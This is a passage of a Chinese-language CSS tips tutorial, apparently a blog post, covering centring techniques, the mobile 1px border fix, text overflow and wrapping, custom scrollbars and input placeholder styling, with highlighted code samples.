class="attribute">width</span>: <span class="number">200px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">height</span>: <span class="number">100px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">background-color</span>: blue;</span></span><br><span class="line"><span class="language-css">    &#125;</span></span><br><span class="line"><span class="language-css"></span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;box&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;son&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>方法三：flex + margin</strong></p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">style</span>&gt;</span><span class="language-css"></span></span><br><span class="line"><span class="language-css">    <span class="selector-class">.box</span> &#123;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">width</span>: <span class="number">500px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">height</span>: <span class="number">400px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">background-color</span>: pink;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">display</span>: flex;</span></span><br><span class="line"><span class="language-css">    &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">    <span class="selector-class">.son</span> &#123;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">width</span>: <span class="number">200px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">height</span>: <span class="number">100px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">background-color</span>: blue;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">margin</span>: auto;</span></span><br><span class="line"><span class="language-css">    &#125;</span></span><br><span class="line"><span class="language-css"></span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;box&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;son&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>方法4：line-height + vertical-align</strong></p><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/2cca3c98ae284d1aa6db063739df6e2a~tplv-k3u1fbpfcp-zoom-1.image" /><p><strong>方法5：writing-mode</strong></p><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/a345ddcd7bad462eb390b4688cb29c31~tplv-k3u1fbpfcp-zoom-1.image" /><p><strong>方法6：table-cell</strong></p><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/317b0670c9fe4c90bb8b77f3f90d8c79~tplv-k3u1fbpfcp-zoom-1.image" /><p><strong>方法7：grid</strong></p><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/1b509172aabc4a3580c3eb57953755f5~tplv-k3u1fbpfcp-zoom-1.image" /><img src="https://s2.ax1x.com/2020/02/03/10BZOU.jpg" alt="10BZOU.jpg" border="0" /><p><strong>让块级元素里的多行文字垂直居中</strong></p><blockquote><p>这里抛出这样一个问题，如下，让块里的多行文字垂直居中？一说到垂直居中就会想到，单行文字垂直居中line-height等于height；块级元素垂直居中，position定位或者flex布局。但这里我介绍display：table和table-cell是如何让多行文字垂直居中的</p></blockquote><p><strong>display：table-cell</strong> 加上 <strong>vertical-align：middle</strong> 使高度不同的元素都垂直居中，其中div的display：inline-block使几个div在同一行显示。</p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;parent&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">p</span> <span class="attr">class</span>=<span class="string">&quot;son&quot;</span>&gt;</span></span><br><span class="line">        会议认为，党的十八大以来，我国经济发展取得历史性成就、</span><br><span class="line">        发生历史性变革，为其他领域改革发展提供了重要物质条件。经济实力</span><br><span class="line">        再上新台阶，经济年均增长7.1%，成为世界经济增长的主要动力源和稳定器。</span><br><span class="line">    <span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line">&lt;/</span><br></pre></td></tr></table></figure><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.parent</span> &#123;</span><br><span class="line">    <span class="attribute">display</span>: table;</span><br><span class="line">    <span class="attribute">width</span>: <span class="number">300px</span>;</span><br><span class="line">    <span class="attribute">height</span>: <span class="number">300px</span>;</span><br><span class="line">    <span class="attribute">text-align</span>: center;</span><br><span class="line">&#125;</span><br><span class="line"><span class="selector-class">.son</span> &#123;</span><br><span class="line">    <span class="attribute">display</span>: table-cell;</span><br><span class="line">    <span class="attribute">vertical-align</span>: middle;</span><br><span class="line">    <span class="attribute">height</span>: <span class="number">200px</span>;</span><br><span class="line">    <span class="attribute">background-color</span>: yellow;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="移动端1像素解决方案"><a href="#移动端1像素解决方案" class="headerlink" title="移动端1像素解决方案"></a>移动端1像素解决方案</h3><p>在移动端web开发中，UI设计稿中设置边框为1像素，前端在开发过程中如果出现border:1px，测试会发现在retina屏机型中，1px会比较粗，即是较经典的移动端1px像素问题</p><p><strong>伪类+transform</strong></p><p>原理：把原先元素的border去掉，然后利用:before或者:after重做border，并transform的scale缩小一半，原先的元素相对定位，新做的border绝对定位</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="comment">/*手机端实现真正的一像素边框*/</span></span><br><span class="line"><span class="selector-class">.border-1px</span>, <span class="selector-class">.border-bottom-1px</span>, <span class="selector-class">.border-top-1px</span>, <span class="selector-class">.border-left-1px</span>, <span class="selector-class">.border-right-1px</span> &#123;</span><br><span class="line">    <span class="attribute">position</span>: relative;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*线条颜色 黑色*/</span></span><br><span class="line"><span class="selector-class">.border-1px</span><span class="selector-pseudo">::after</span>, <span class="selector-class">.border-bottom-1px</span><span class="selector-pseudo">::after</span>, <span class="selector-class">.border-top-1px</span><span class="selector-pseudo">::after</span>, <span class="selector-class">.border-left-1px</span><span class="selector-pseudo">::after</span>, <span class="selector-class">.border-right-1px</span><span class="selector-pseudo">::after</span> &#123;</span><br><span class="line">    <span class="attribute">background-color</span>: <span class="number">#000</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*底边边框一像素*/</span></span><br><span class="line"><span class="selector-class">.border-bottom-1px</span><span class="selector-pseudo">::after</span> &#123;</span><br><span class="line">    <span class="attribute">content</span>: <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="attribute">position</span>: absolute;</span><br><span class="line">    <span class="attribute">left</span>: <span class="number">0</span>;</span><br><span class="line">    <span class="attribute">bottom</span>: <span class="number">0</span>;</span><br><span class="line">    <span class="attribute">width</span>: <span class="number">100%</span>;</span><br><span class="line">    <span class="attribute">height</span>: <span class="number">1px</span>;</span><br><span class="line">    <span class="attribute">transform-origin</span>: <span class="number">0</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*上边边框一像素*/</span></span><br><span class="line"><span class="selector-class">.border-top-1px</span><span class="selector-pseudo">::after</span> &#123;</span><br><span class="line">    <span class="attribute">content</span>: <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="attribute">position</span>: absolute;</span><br><span class="line">    <span class="attribute">left</span>: <span class="number">0</span>;</span><br><span class="line">    <span class="attribute">top</span>: <span class="number">0</span>;</span><br><span class="line">    <span class="attribute">width</span>: <span class="number">100%</span>;</span><br><span class="line">    <span class="attribute">height</span>: <span class="number">1px</span>;</span><br><span class="line">    <span class="attribute">transform-origin</span>: <span class="number">0</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*左边边框一像素*/</span></span><br><span class="line"><span class="selector-class">.border-left-1px</span><span class="selector-pseudo">::after</span> &#123;</span><br><span class="line">    <span class="attribute">content</span>: <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="attribute">position</span>: absolute;</span><br><span class="line">    <span class="attribute">left</span>: <span class="number">0</span>;</span><br><span class="line">    <span class="attribute">top</span>: <span class="number">0</span>;</span><br><span class="line">    <span class="attribute">width</span>: <span class="number">1px</span>;</span><br><span class="line">    <span class="attribute">height</span>: <span class="number">100%</span>;</span><br><span class="line">    <span class="attribute">transform-origin</span>: <span class="number">0</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*右边边框1像素*/</span></span><br><span class="line"><span class="selector-class">.border-right-1px</span><span class="selector-pseudo">::after</span> &#123;</span><br><span class="line">    <span class="attribute">content</span>: <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="attribute">box-sizing</span>: border-box;</span><br><span class="line">    <span class="attribute">position</span>: absolute;</span><br><span class="line">    <span class="attribute">right</span>: <span class="number">0</span>;</span><br><span class="line">    <span class="attribute">top</span>: <span class="number">0</span>;</span><br><span class="line">    <span class="attribute">width</span>: <span class="number">1px</span>;</span><br><span class="line">    <span class="attribute">height</span>: <span class="number">100%</span>;</span><br><span class="line">    <span class="attribute">transform-origin</span>: <span class="number">0</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*边框一像素*/</span></span><br><span class="line"><span class="selector-class">.border-1px</span><span class="selector-pseudo">::after</span> &#123;</span><br><span class="line">    <span class="attribute">content</span>: <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="attribute">box-sizing</span>: border-box;</span><br><span class="line">    <span class="attribute">position</span>: absolute;</span><br><span class="line">    <span class="attribute">left</span>: <span class="number">0</span>;</span><br><span class="line">    <span class="attribute">top</span>: <span class="number">0</span>;</span><br><span class="line">    <span class="attribute">width</span>: <span class="number">100%</span>;</span><br><span class="line">    <span class="attribute">height</span>: <span class="number">100%</span>;</span><br><span class="line">    <span class="attribute">border</span>: <span class="number">1px</span> solid gray;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">/*设备像素比*/</span></span><br><span class="line"><span class="comment">/*显示屏最小dpr为2*/</span></span><br><span class="line"><span class="keyword">@media</span> (<span class="attribute">-webkit-min-device-pixel-ratio</span>: <span class="number">2</span>) &#123;</span><br><span class="line">    <span class="selector-class">.border-bottom-1px</span><span class="selector-pseudo">::after</span>, <span class="selector-class">.border-top-1px</span><span class="selector-pseudo">::after</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">scaleY</span>(<span class="number">0.5</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="selector-class">.border-left-1px</span><span class="selector-pseudo">::after</span>, <span class="selector-class">.border-right-1px</span><span class="selector-pseudo">::after</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">scaleX</span>(<span class="number">0.5</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="selector-class">.border-1px</span><span class="selector-pseudo">::after</span> &#123;</span><br><span class="line">        <span class="attribute">width</span>: <span class="number">200%</span>;</span><br><span class="line">        <span class="attribute">height</span>: <span class="number">200%</span>;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">scale</span>(<span class="number">0.5</span>);</span><br><span class="line">        <span class="attribute">transform-origin</span>: <span class="number">0</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*设备像素比*/</span></span><br><span class="line"><span class="keyword">@media</span> (<span class="attribute">-webkit-min-device-pixel-ratio</span>: <span class="number">3</span>)  &#123;</span><br><span class="line">    <span class="selector-class">.border-bottom-1px</span><span class="selector-pseudo">::after</span>, <span class="selector-class">.border-top-1px</span><span class="selector-pseudo">::after</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">scaleY</span>(<span class="number">0.333</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="selector-class">.border-left-1px</span><span class="selector-pseudo">::after</span>, <span class="selector-class">.border-right-1px</span><span class="selector-pseudo">::after</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">scaleX</span>(<span class="number">0.333</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="selector-class">.border-1px</span><span class="selector-pseudo">::after</span> &#123;</span><br><span class="line">        <span class="attribute">width</span>: <span class="number">300%</span>;</span><br><span class="line">        <span class="attribute">height</span>: <span class="number">300%</span>;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">scale</span>(<span class="number">0.333</span>);</span><br><span class="line">        <span class="attribute">transform-origin</span>: <span class="number">0</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">/*需要注意&lt;input type=&quot;button&quot;&gt;是没有:before, :after伪元素的*/</span></span><br></pre></td></tr></table></figure><p><strong>去除图片底侧空白缝隙</strong></p><p>有个很重要特性你要记住： 图片或者表单等行内块元素，他的底线会和父级盒子的基线对齐。这样会造成一个问题，就是图片底侧会有一个空白缝隙。</p><p>解决的方法就是：  </p><ol><li>给img vertical-align:middle | top等等。  让图片不要和基线对齐。</li></ol><p>​      2.   给img 添加 display：block; 转换为块级元素就不会存在问题了。</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="attribute">vertical-align</span>:baseline;</span><br><span class="line"><span class="number">1</span>.图片下方间隙问题</span><br><span class="line">解决方法 =&gt; 给<span class="selector-tag">img</span>任意值覆盖baseline</span><br><span class="line"><span class="number">2</span>.图文的对齐方式  行内元素或者行内块元素之间的对齐方式</span><br><span class="line">解决方法  顶部对齐  给两个元素同时加上<span class="attribute">vertical-align</span>:top;</span><br><span class="line"><span class="attribute">top</span> 对齐元素(你设置了vertical的元素)的顶端 与<span class="selector-tag">line</span>-box 的顶端对齐</span><br><span class="line"><span class="attribute">bottom</span>  对齐元素(你设置了vertical的元素)的底端 与<span class="selector-tag">line</span>-box 的底端对齐</span><br><span class="line">middle (常用)对齐元素 的中线 父元素的基线加上小写<span class="attribute">x</span></span><br></pre></td></tr></table></figure><p><strong>解决inline-block元素设置overflow:hidden属性导致相邻行内元素向下偏移</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.wrap</span> &#123;</span><br><span class="line">  <span class="attribute">display</span>: inline-block;</span><br><span class="line">  <span class="attribute">overflow</span>: hidden</span><br><span class="line">vertical-align: bottom</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>超出部分显示省略号</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line">// 单行文本</span><br><span class="line"><span class="selector-class">.wrap</span> &#123;</span><br><span class="line"><span class="attribute">overflow</span>:hidden;<span class="comment">/*超出部分隐藏*/</span></span><br><span class="line"><span class="attribute">text-overflow</span>:ellipsis;<span class="comment">/*超出部分显示省略号*/</span></span><br><span class="line"><span class="attribute">white-space</span>:nowrap;<span class="comment">/*规定段落中的文本不进行换行 */</span></span><br><span class="line">&#125;</span><br><span class="line">// 多行文本</span><br><span class="line"><span class="selector-class">.wrap</span> &#123;</span><br><span class="line">    <span class="attribute">width</span>: <span class="number">100%</span>;</span><br><span class="line">    <span class="attribute">overflow</span>: hidden;</span><br><span class="line">    <span class="attribute">display</span>: -webkit-box;   //将对象作为弹性伸缩盒子模型显示  *必须结合的属性*</span><br><span class="line">    -webkit-<span class="attribute">box-orient</span>: vertical;   //设置伸缩盒对象的子元素的排列方式  *必须结合的属性*</span><br><span class="line">    -webkit-<span class="selector-tag">line</span>-clamp: <span class="number">3</span>;   //用来限制在一个块元素中显示的文本的行数</span><br><span class="line">    <span class="attribute">word-break</span>: break-all;   //让浏览器实现在任意位置的换行 *break-<span class="attribute">all</span>为允许在单词内换行*</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>css实现不换行、自动换行、强制换行</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line">//不换行</span><br><span class="line"><span class="selector-class">.wrap</span> &#123;</span><br><span class="line">  <span class="attribute">white-space</span>:nowrap;</span><br><span class="line">&#125;</span><br><span class="line">//自动换行</span><br><span class="line"><span class="selector-class">.wrap</span> &#123;</span><br><span class="line">  <span class="attribute">word-wrap</span>: break-word;</span><br><span class="line">  <span class="attribute">word-break</span>: normal;</span><br><span class="line">&#125;</span><br><span class="line">//强制换行</span><br><span class="line"><span class="selector-class">.wrap</span> &#123;</span><br><span class="line">  <span class="attribute">word-break</span>:break-all;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>CSS实现文本两端对齐</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.wrap</span> &#123;</span><br><span class="line">    <span class="attribute">text-align</span>: justify;</span><br><span class="line">    <span class="attribute">text-justify</span>: distribute-all-lines;  //ie6-<span class="number">8</span></span><br><span class="line">    <span class="attribute">text-align-last</span>: justify;  //一个块或行的最后一行对齐方式</span><br><span class="line">    -moz-<span class="attribute">text-align-last</span>: justify;</span><br><span class="line">    -webkit-<span class="attribute">text-align-last</span>: justify;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>实现文字竖向排版</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line">// 单列展示时</span><br><span class="line"><span class="selector-class">.wrap</span> &#123;</span><br><span class="line">    <span class="attribute">width</span>: <span class="number">25px</span>;</span><br><span class="line">    <span class="attribute">line-height</span>: <span class="number">18px</span>;</span><br><span class="line">    <span class="attribute">height</span>: auto;</span><br><span class="line">    <span class="attribute">font-size</span>: <span class="number">12px</span>;</span><br><span class="line">    <span class="attribute">padding</span>: <span class="number">8px</span> <span class="number">5px</span>;</span><br><span class="line">    <span class="attribute">word-wrap</span>: break-word;<span class="comment">/*英文的时候需要加上这句，自动换行*/</span>  </span><br><span class="line">&#125;</span><br><span class="line">// 多列展示时</span><br><span class="line"><span class="selector-class">.wrap</span> &#123;</span><br><span class="line">    <span class="attribute">height</span>: <span class="number">210px</span>;</span><br><span class="line">    <span class="attribute">line-height</span>: <span class="number">30px</span>;</span><br><span class="line">    <span class="attribute">text-align</span>: justify;</span><br><span class="line">    <span class="attribute">writing-mode</span>: vertical-lr;  //从左向右    </span><br><span class="line">    <span class="attribute">writing-mode</span>: tb-lr;        //IE从左向右</span><br><span class="line">    //<span class="attribute">writing-mode</span>: vertical-rl;  -- 从右向左</span><br><span class="line">    //<span class="attribute">writing-mode</span>: tb-rl;        -- 从右向左</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>使元素鼠标事件失效</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.wrap</span> &#123;</span><br><span class="line">    // 如果按tab能选中该元素，如<span class="selector-tag">button</span>，然后按回车还是能执行对应的事件，如click。</span><br><span class="line"><span class="attribute">pointer-events</span>: none;</span><br><span class="line"><span class="attribute">cursor</span>: default;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>禁止用户选择</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.wrap</span> &#123;</span><br><span class="line">  -webkit-touch-callout: none;</span><br><span class="line">  -webkit-<span class="attribute">user-select</span>: none;</span><br><span class="line">  -khtml-<span class="attribute">user-select</span>: none;</span><br><span class="line">  -moz-<span class="attribute">user-select</span>: none;</span><br><span class="line">  -ms-<span class="attribute">user-select</span>: none;</span><br><span class="line">  <span class="attribute">user-select</span>: none;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>cursor属性</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.wrap</span> &#123;</span><br><span class="line">  <span class="attribute">cursor</span>：pointer; // 小手指；</span><br><span class="line">  <span class="attribute">cursor</span>：help; // 箭头加问号；</span><br><span class="line">  <span class="attribute">cursor</span>：wait; // 转圈圈；</span><br><span class="line">  <span class="attribute">cursor</span>：move; // 移动光标；</span><br><span class="line">  <span class="attribute">cursor</span>：crosshair; // 十字光标</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>使用硬件加速</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.wrap</span> &#123;</span><br><span class="line">    <span class="attribute">transform</span>: <span class="built_in">translateZ</span>(<span class="number">0</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>图片宽度自适应</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-tag">img</span> &#123;<span class="attribute">max-width</span>: <span class="number">100%</span>&#125;</span><br></pre></td></tr></table></figure><p><strong>Text-transform和Font Variant</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-tag">p</span> &#123;<span class="attribute">text-transform</span>: uppercase&#125;  // 将所有字母变成大写字母</span><br><span class="line"><span class="selector-tag">p</span> &#123;<span class="attribute">text-transform</span>: lowercase&#125;  // 将所有字母变成小写字母</span><br><span class="line"><span class="selector-tag">p</span> &#123;<span class="attribute">text-transform</span>: capitalize&#125; // 首字母大写</span><br><span class="line"><span class="selector-tag">p</span> &#123;<span class="attribute">font-variant</span>: small-caps&#125;   // 将字体变成小型的大写字母</span><br></pre></td></tr></table></figure><p><strong>将一个容器设为透明</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.wrap</span> &#123; </span><br><span class="line">  <span class="attribute">filter</span>:<span class="built_in">alpha</span>(opacity=<span class="number">50</span>); </span><br><span class="line">  -moz-<span class="attribute">opacity</span>:<span class="number">0.5</span>; </span><br><span class="line">  -khtml-<span class="attribute">opacity</span>: <span class="number">0.5</span>; </span><br><span class="line">  <span class="attribute">opacity</span>: <span class="number">0.5</span>; </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>消除transition闪屏</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.wrap</span> &#123;</span><br><span class="line">    -webkit-<span class="attribute">transform-style</span>: preserve-<span class="number">3</span>d;</span><br><span class="line">    -webkit-<span class="attribute">backface-visibility</span>: hidden;</span><br><span class="line">    -webkit-<span class="attribute">perspective</span>: <span class="number">1000</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>自定义滚动条</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="attribute">overflow-y</span>: scroll;</span><br><span class="line">整个滚动条</span><br><span class="line">::-webkit-scrollbar &#123;</span><br><span class="line">    <span class="attribute">width</span>: <span class="number">5px</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">滚动条的轨道</span><br><span class="line">::-webkit-scrollbar-track &#123;</span><br><span class="line">    <span class="attribute">background-color</span>: <span class="number">#ffa336</span>;</span><br><span class="line">    <span class="attribute">border-radius</span>: <span class="number">5px</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">滚动条的滑块</span><br><span class="line">::-webkit-scorllbar-thumb &#123;</span><br><span class="line">    <span class="attribute">background-color</span>: <span class="number">#ffc076</span>;</span><br><span class="line">    <span class="attribute">border-radius</span>: <span class="number">5px</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>让 HTML 识别 string 里的 ‘\n’ 并换行</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-tag">body</span> &#123;</span><br><span class="line">  <span class="attribute">white-space</span>: pre-line;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>实现一个三角形</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.wrap</span> &#123; </span><br><span class="line">  <span class="attribute">border-color</span>: transparent transparent green transparent; </span><br><span class="line">  <span class="attribute">border-style</span>: solid; </span><br><span class="line">  <span class="attribute">border-width</span>: <span class="number">0px</span> <span class="number">300px</span> <span class="number">300px</span> <span class="number">300px</span>; </span><br><span class="line">  <span class="attribute">height</span>: <span class="number">0px</span>; </span><br><span class="line">  <span class="attribute">width</span>: <span class="number">0px</span>; </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>移除被点链接的边框</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-tag">a</span> &#123;<span class="attribute">outline</span>: none&#125;</span><br><span class="line"><span class="selector-tag">a</span> &#123;<span class="attribute">outline</span>: <span class="number">0</span>&#125;</span><br></pre></td></tr></table></figure><p><strong>使用CSS显示链接之后的URL</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-tag">a</span><span class="selector-pseudo">:after</span>&#123;<span class="attribute">content</span>:<span class="string">&quot; (&quot;</span> <span class="built_in">attr</span>(href) <span class="string">&quot;) &quot;</span>;&#125;</span><br></pre></td></tr></table></figure><p><strong>select内容居中显示、下拉内容右对齐</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-tag">select</span>&#123;</span><br><span class="line">    <span class="attribute">text-align</span>: center;</span><br><span class="line">    <span class="attribute">text-align-last</span>: center;</span><br><span class="line">&#125;</span><br><span class="line"><span class="selector-tag">select</span> <span class="selector-tag">option</span> &#123;</span><br><span class="line">    <span class="attribute">direction</span>: rtl;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>修改input输入框中光标的颜色不改变字体的颜色</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-tag">input</span>&#123;</span><br><span class="line">    <span class="attribute">color</span>:  <span class="number">#fff</span>;</span><br><span class="line">    <span class="attribute">caret-color</span>: red;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>修改input 输入框中 placeholder 默认字体样式</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line">//webkit内核的浏览器 </span><br><span class="line"><span class="selector-tag">input</span>::-webkit-input-placeholder &#123;</span><br><span class="line">    <span class="attribute">color</span>: <span class="number">#c2c6ce</span>;</span><br><span class="line">&#125;</span><br><span class="line">//Firefox版本<span class="number">4</span>-<span class="number">18</span> </span><br><span class="line"><span class="selector-tag">input</span>:-moz-placeholder &#123;</span><br><span class="line">    <span class="attribute">color</span>: <span class="number">#c2c6ce</span>;</span><br><span class="line">&#125;</span><br><span class="line">//Firefox版本<span class="number">19</span>+</span><br><span class="line"><span class="selector-tag">input</span>::-moz-placeholder &#123;</span><br><span class="line">    <span class="attribute">color</span>: <span class="number">#c2c6ce</span>;</span><br><span class="line">&#125;</span><br><span class="line">//IE浏览器</span><br><span class="line"><span class="selector-tag">input</span>:-ms-input-placeholder &#123;</span><br><span class="line">    <span class="attribute">color</span>: <span class="number">#c2c6ce</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>子元素固定宽度 父元素宽度被撑开</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line">// 父元素下的子元素是行内元素</span><br><span class="line"><span class="selector-class">.wrap</span> &#123;</span><br><span class="line">  <span class="attribute">white-space</span>: nowrap;</span><br><span class="line">&#125;</span><br><span class="line">// 若父元素下的子元素是块级元素</span><br><span class="line"><span class="selector-class">.wrap</span> &#123;</span><br><span class="line">  <span class="attribute">white-space</span>: nowrap;  // 子元素不被换行</span><br><span class="line">  <span class="attribute">display</span>: inline-block;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>让div里的图片和文字同时上下居中</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.wrap</span> &#123;</span><br><span class="line">  <span class="attribute">height</span>: <span class="number">100</span>,</span><br><span class="line">  line-height: <span class="number">100</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="selector-tag">img</span> &#123;</span><br><span class="line">  vertival-align：middle</span><br><span class="line">&#125;</span><br><span class="line">// <span class="attribute">vertical-align</span> css的属性<span class="attribute">vertical-align</span>用来指定行内元素（inline）或表格单元格（<span class="selector-tag">table</span>-cell）元素的垂直对齐方式。只对行内元素、表格单元格元素生效，不能用它垂直对齐块级元素</span><br><span class="line">// <span class="attribute">vertical-align</span>：baseline/<span class="attribute">top</span>/middle/<span class="attribute">bottom</span>/sub/<span class="selector-tag">text</span>-<span class="attribute">top</span>;</span><br></pre></td></tr></table></figure><p><strong>实现宽高等比例自适应矩形</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line">       <span class="selector-class">.scale</span> &#123;</span><br><span class="line">           <span class="attribute">width</span>: <span class="number">100%</span>;</span><br><span class="line">           <span class="attribute">padding-bottom</span>: <span class="number">56.25%</span>;</span><br><span class="line">           <span class="attribute">height</span>: <span class="number">0</span>;</span><br><span class="line">           <span class="attribute">position</span>: relative; </span><br><span class="line">       &#125;</span><br><span class="line"></span><br><span class="line">       <span class="selector-class">.item</span> &#123;</span><br><span class="line">           <span class="attribute">position</span>: absolute; </span><br><span class="line">           <span class="attribute">width</span>: 